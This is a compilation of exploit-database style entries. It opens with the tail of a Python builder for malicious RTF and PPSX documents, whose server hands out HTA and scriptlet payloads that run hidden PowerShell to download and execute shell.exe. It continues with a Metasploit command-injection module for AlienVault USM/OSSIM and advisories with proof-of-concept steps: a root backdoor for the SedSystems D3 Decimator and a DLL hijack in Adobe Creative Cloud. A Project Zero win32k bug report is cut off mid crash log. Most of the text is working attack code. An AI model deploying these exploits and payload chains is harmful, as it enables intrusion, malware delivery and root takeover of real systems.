var5 = "{\*\\"+var4+"}"
var6 = binascii.b2a_hex(os.urandom(15))
#var6 = "0011002e1faa"
s = docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
docuri_pad_len = 224 - len(docuri_hex)
docuri_pad = "0"*docuri_pad_len
new_docuri_hex = docuri_hex.replace('00', '{\*\\'+var6+'}00')
uri_hex = "010000020900000001000000000000000000000000000000a4000000"+"e"+var5*randint(0,10)+"0"+var5*randint(0,10)+"c"+var5*randint(0,10)+"9"+var5*randint(0,10)+"e"+var5*randint(0,10)+"a"+var5*randint(0,10)+"7"+var5*randint(0,10)+"9"+var5*randint(0,10)+"f"+var5*randint(0,10)+"9"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"c"+var5*randint(0,10)+"e"+var5*randint(0,10)+"1"+var5*randint(0,10)+"1"+var5*randint(0,10)+"8"+var5*randint(0,10)+"c"+var5*randint(0,10)+"8"+var5*randint(0,10)+"2"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"a"+var5*randint(0,10)+"a"+var5*randint(0,10)+"0"+var5*randint(0,10)+"0"+var5*randint(0,10)+"4"+var5*randint(0,10)+"b"+var5*randint(0,10)+"a"+var5*randint(0,10)+"9"+var5*randint(0,10)+"0"+var5*randint(0,10)+"b"+var5*randint(0,10)+"8c000000"+new_docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
payload = "{\\rtv0"+var1*randint(0,100)+"\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
payload += "{\n"
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass \\'57\\'6f\\'72\\'64.Document.8}\n"
payload += "{\\*\\objdata 0"+var2*randint(0,10)+var3*randint(0,10)+"1"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"5"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"2"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0"+var2*randint(0,10)+var3*randint(0,10)+"0\n"
payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += uri_hex+"\n"
payload += "0105000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated obfuscated "+filename+" successfully"
def generate_exploit_ppsx():
# Preparing malicious PPSX
shutil.copy2('template/template.ppsx', filename)
class UpdateableZipFile(ZipFile):
"""
Add delete (via remove_file) and update (via writestr and write methods)
To enable update features use UpdateableZipFile with the 'with statement',
Upon __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
"""
class DeleteMarker(object):
pass
def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
# Init base
super(UpdateableZipFile, self).__init__(file, mode=mode,
compression=compression,
allowZip64=allowZip64)
# track file to override in zip
self._replace = {}
# Whether the with statement was called
self._allow_updates = False
def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
if isinstance(zinfo_or_arcname, ZipInfo):
name = zinfo_or_arcname.filename
else:
name = zinfo_or_arcname
# If the file exits, and needs to be overridden,
# mark the entry, and create a temp-file for it
# we allow this only if the with statement is used
if self._allow_updates and name in self.namelist():
temp_file = self._replace[name] = self._replace.get(name,
tempfile.TemporaryFile())
temp_file.write(bytes)
# Otherwise just act normally
else:
super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
bytes, compress_type=compress_type)
def write(self, filename, arcname=None, compress_type=None):
arcname = arcname or filename
# If the file exits, and needs to be overridden,
# mark the entry, and create a temp-file for it
# we allow this only if the with statement is used
if self._allow_updates and arcname in self.namelist():
temp_file = self._replace[arcname] = self._replace.get(arcname,
tempfile.TemporaryFile())
with open(filename, "rb") as source:
shutil.copyfileobj(source, temp_file)
# Otherwise just act normally
else:
super(UpdateableZipFile, self).write(filename,
arcname=arcname, compress_type=compress_type)
def __enter__(self):
# Allow updates
self._allow_updates = True
return self
def __exit__(self, exc_type, exc_val, exc_tb):
# call base to close zip file, organically
try:
super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
if len(self._replace) > 0:
self._rebuild_zip()
finally:
# In case rebuild zip failed,
# be sure to still release all the temp files
self._close_all_temp_files()
self._allow_updates = False
def _close_all_temp_files(self):
for temp_file in self._replace.itervalues():
if hasattr(temp_file, 'close'):
temp_file.close()
def remove_file(self, path):
self._replace[path] = self.DeleteMarker()
def _rebuild_zip(self):
tempdir = tempfile.mkdtemp()
try:
temp_zip_path = os.path.join(tempdir, 'new.zip')
with ZipFile(self.filename, 'r') as zip_read:
# Create new zip with assigned properties
with ZipFile(temp_zip_path, 'w', compression=self.compression,
allowZip64=self._allowZip64) as zip_write:
for item in zip_read.infolist():
# Check if the file should be replaced / or deleted
replacement = self._replace.get(item.filename, None)
# If marked for deletion, do not copy file to new zipfile
if isinstance(replacement, self.DeleteMarker):
del self._replace[item.filename]
continue
# If marked for replacement, copy temp_file, instead of old file
elif replacement is not None:
del self._replace[item.filename]
# Write replacement to archive,
# and then close it (deleting the temp file)
replacement.seek(0)
data = replacement.read()
replacement.close()
else:
data = zip_read.read(item.filename)
zip_write.writestr(item, data)
# Override the archive with the updated one
shutil.move(temp_zip_path, self.filename)
finally:
shutil.rmtree(tempdir)
with UpdateableZipFile(filename, "a") as o:
o.writestr("ppt/slides/_rels/slide1.xml.rels", "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")
print "Generated "+filename+" successfully"
def exploitation_rtf():
print "Server Running on ",host,":",port
try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# associate the socket to host and port
s.bind((host, port))
# listenning
s.listen(BACKLOG)
except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)
# get the connection from client
while 1:
conn, client_addr = s.accept()
# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))
s.close()
def server_thread(conn, client_addr):
# get the request from browser
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')[0]
# get method
method = first_line.split(' ')[0]
# get url
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from "+client_addr[0]
conn.close()
sys.exit(1)
# check if custom HTA flag is set
if (len(custom)>1):
print "Received request for custom HTA from "+client_addr[0]
try:
size = os.path.getsize(custom)
except OSError:
print "Unable to read exe - "+custom
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n"
with open(custom) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
conn.close()
sys.exit(1)
check_exe_request = url.find('.exe')
if (check_exe_request > 0):
print "Received request for payload from "+client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read "+payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if method in ['GET', 'get']:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
conn.send(data)
conn.close()
if method in ['OPTIONS', 'options']:
print "Receiver OPTIONS method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
conn.send(data)
conn.close()
if method in ['HEAD', 'head']:
print "Received HEAD method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex
def exploitation_ppsx():
print "Server Running on ",host,":",port
try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# associate the socket to host and port
s.bind((host, port))
# listenning
s.listen(BACKLOG)
except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)
# get the connection from client
while 1:
conn, client_addr = s.accept()
# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))
s.close()
def server_thread(conn, client_addr):
# get the request from browser
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')[0]
# get method
method = first_line.split(' ')[0]
# get url
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from "+client_addr[0]
conn.close()
sys.exit(1)
# check if custom SCT flag is set
if (len(custom)>1):
print "Received request for custom SCT from "+client_addr[0]
try:
size = os.path.getsize(custom)
except OSError:
print "Unable to read custom SCT file - "+custom
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
with open(custom) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
conn.close()
sys.exit(1)
check_exe_request = url.find('.exe')
if (check_exe_request > 0):
print "Received request for payload from "+client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read"+payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if method in ['GET', 'get']:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n<?XML version=\"1.0\"?>\r\n<package>\r\n<component id='giffile'>\r\n<registration\r\n description='Dummy'\r\n progid='giffile'\r\n version='1.00'\r\n remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n"
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex
if __name__ == '__main__':
main(sys.argv[1:])
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'AlienVault USM/OSSIM API Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root.
},
'Author' =>
[
'Unknown', # Privately disclosed to Alienvault
'Peter Lapp (lappsec@gmail.com)' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.alienvault.com/forums/discussion/8415/']
],
'Privileged' => false,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'SSL' => true
},
'Targets' =>
[
[ 'Automatic', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 5 2017'))
register_options(
[
Opt::RPORT(40011)
], self.class)
end
def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
'vars_post' => {
'host_ip' => "127.0.0.1"
},
'headers' => {
'Accept' => "application/json"
}
})
if res and res.code == 200 and res.body.include?('success')
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Executing payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
'vars_post' => {
'host_ip' => ";#{payload.encoded}"
},
'headers' => {
'Accept' => "application/json"
}
})
end
end
SedSystems D3 Decimator Multiple Vulnerabilities
================================================
Identification of the vulnerable device can be performed by scanning for
TCP port 9784 which offers a default remote API. When connected to this
device it will announce itself with "connected" or similar:
Connected to x.x.x.x.
Escape character is '^]'.
connected
status
status:3.1,3.0.12-1,0,0,41.0,Valid,Valid,540,-1.0,-1.0,5.1,11.4,-1.0
ping
ping:ok
The web service by default has a user interface for accessing the RF
spectrum analyzer capability. The device itself from the API can give
raw remote access to I/Q samples so can be used to remotely sniff the
RF spectrum. The Web Configuration Manager can be found on
"/cgi-bin/wcm.cgi". Multiple vulnerabilities exist.
Hardcoded credentials can be found in the /etc/passwd files contained
within the default firmware since at least February 2013. The following
entries can be found:
root:$1$zfy/fmyt$khz2yIyTFDoCkhxWw7eX8.:0:0:root:/:/bin/sh
admin:$1$$CoERg7ynjYLsj2j4glJ34.:1000:0:root:/:/bin/webonly
The admin user has a default password of "admin", at this time the root
user password is unknown however there is no documented way of changing
this trivially in a device. Using the "admin" user you can obtain a web
session to the wcm.cgi and exploit a hidden arbitary file download
vulnerability discovered by reverse engineering the firmware:
http://x.x.x.x/cgi-bin/wcm.cgi?sessionid=009d45ecbabe015babe3300f&download=true&fullfilename=/etc/passwd
This will allow you to download any file and as the "admin" user has root
privileges you can obtain access to any file on the device. To execute
arbitary code you can make use of a vulnerbaility within the firmware
flash routines. By uploading a crafted tarball that contains a "install"
script in its root, the device will accept your firmware and then attempt
to execute ./install if found as root, you can then cancel the "flash"
process to prevent bricking/modifcation of the device. The problem is due
to /usr/bin/install_flash which after using "tar" to unpack an archive
to a tmp folder of /tmp/PID_of_tar does the following:
80 # If the archive contained its own install script then use that
81
82 if [ -x ./install ]; then
83 ./install $all_args
84 rc=$?
85 exit $rc
86 fi
87
Using this vulnerability you can upload a .tar file containing an install
file that looks like the following to obtain a root user account with
adm1n/admin.
cat install
#!/bin/sh
echo adm1n:\$1\$\$CoERg7ynjYLsj2j4glJ34.:0:0:root:/:/bin/sh >> /etc/passwd
You can then SSH remotely to the device as PermitRootLogin is enabled
by default.
E.g.
$ ssh -l adm1n x.x.x.x
adm1n@x.x.x.x's password: admin
# uname -a
Linux d3-decimator-540 2.6.34.10 #1 PREEMPT Wed Aug 8 10:04:25 CST 2012 armv5tejl GNU/Linux
# cat /proc/cpuinfo
Processor : ARM926EJ-S rev 4 (v5l)
BogoMIPS : 103.83
Features : swp half thumb fastmult vfp edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 4
Hardware : SED 32XX Based CCA
Revision : 0000
Serial : 0000000000000000
#
Vendor website can be found at the following url:
* http://www.sedsystems.ca/decimator_spectrum_analyzer
-- prdelka
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ADOBE-CREATIVE-CLOUD-PRIVILEGE-ESCALATION.txt
[+] ISR: apparitionSec
Vendor:
==============
www.adobe.com
Product:
========================================
Adobe Creative Cloud Desktop Application
<= v4.0.0.185
Vulnerability Type:
=====================
Privilege Escalation
CVE Reference:
==============
CVE-2017-3006
APSB17-13
Vulnerability Details:
=====================
Adobe CC uses weak insecure permissions settings on the "Adobe Photoshop dll & Startup Scripts" directories. This may allow authenticated users
to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. Issue is the 'C' flag
(Change) for 'Authenticated Users' group.
References:
============
https://helpx.adobe.com/security/products/creative-cloud/apsb17-13.html
e.g.
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libifcoremd.dll BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libmmd.dll BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>ls -lt
total 2407
-rwxr-xr-x 1 Test Administ 895184 Jun 3 2016 libifcoremd.dll
-rwxr-xr-x 1 Test Administ 4033464 Jun 3 2016 libmmd.dll
/////////// AND /////////////////////
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop.jsx BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
Exploit/POC code(s):
====================
Compile below DLL 'C' code name it as "libifcoremd.dll"
Replace existing Adobe CC "libifcoremd.dll" file, wait for it to be referenced.
#include <windows.h>
BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
switch (reason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, NULL, "PWN!", MB_OK);
break;
}
return TRUE;
}
gcc -c libifcoremd.c
gcc -shared -o libifcoremd.dll libifcoremd.o
Disclosure Timeline:
========================================
Vendor Notification: January 25, 2017
Vendor updates Adobe CC : April 11, 2017
April 12, 2017 : Public Disclosure
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1078
We have discovered two bugs in the implementation of the win32k!NtGdiGetDIBitsInternal system call, which is a part of the graphic subsystem in all modern versions of Windows. The issues can potentially lead to kernel pool memory disclosure (bug #1) or denial of service (bug #1 and #2). Under certain circumstances, memory corruption could also be possible.
----------[ Double-fetch while handling the BITMAPINFOHEADER structure ]----------
At the beginning of the win32k!NtGdiGetDIBitsInternal system call handler, the code references the BITMAPINFOHEADER structure (and specifically its .biSize field) several times, in order to correctly calculate its size and capture it into kernel-mode memory. A pseudo-code representation of the relevant code is shown below, where "bmi" is a user-controlled address:
--- cut ---
ProbeForRead(bmi, 4, 1);
ProbeForWrite(bmi, bmi->biSize, 1); <------------ Fetch #1
header_size = GreGetBitmapSize(bmi); <----------- Fetch #2
captured_bmi = Alloc(header_size);
ProbeForRead(bmi, header_size, 1);
memcpy(captured_bmi, bmi, header_size); <-------- Fetch #3
new_header_size = GreGetBitmapSize(bmi);
if (header_size != new_header_size) {
// Bail out.
}
// Process the data further.
--- cut ---
In the snippet above, we can see that the user-mode "bmi" buffer is accessed thrice: when accessing the biSize field, in the GreGetBitmapSize() call, and in the final memcpy() call. While this is clearly a multi-fetch condition, it is mostly harmless: since there is a ProbeForRead() call for "bmi", it must be a user-mode address, so bypassing the subsequent ProbeForWrite() call by setting bmi->biSize to 0 doesn't change much. Furthermore, since the two results of the GreGetBitmapSize() calls are eventually compared, introducing any inconsistencies in between them is instantly detected.
As far as we are concerned, the only invalid outcome of the behavior could be read access to out-of-bounds pool memory in the second GreGetBitmapSize() call. This is achieved in the following way:
1. Invoke NtGdiGetDIBitsInternal with a structure having the biSize field set to 12 (sizeof(BITMAPCOREHEADER)).
2. The first call to GreGetBitmapSize() now returns 12 or a similar small value.
3. This number of bytes is allocated for the header buffer.
4. (In a second thread) Change the value of the biSize field to 40 (sizeof(BITMAPINFOHEADER)) before the memcpy() call.
5. memcpy() copies the small structure (with incorrectly large biSize) into the pool allocation.
6. When called again, the GreGetBitmapSize() function assumes that the biSize field is set adequately to the size of the corresponding memory area (untrue), and attempts to access structure fields at offsets greater than 12.
The bug is easiest to reproduce with Special Pools enabled for win32k.sys, as the invalid memory read will then be reliably detected and will yield a system bugcheck. An excerpt from a kernel crash log triggered using the bug in question is shown below:
--- cut ---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fe3ff008, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 943587f1, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
[...]
TRAP_FRAME: 92341b1c -- (.trap 0xffffffff92341b1c)
ErrCode = 00000000
eax=fe3fefe8 ebx=00000000 ecx=00000000 edx=00000028 esi=00000004 edi=01240000
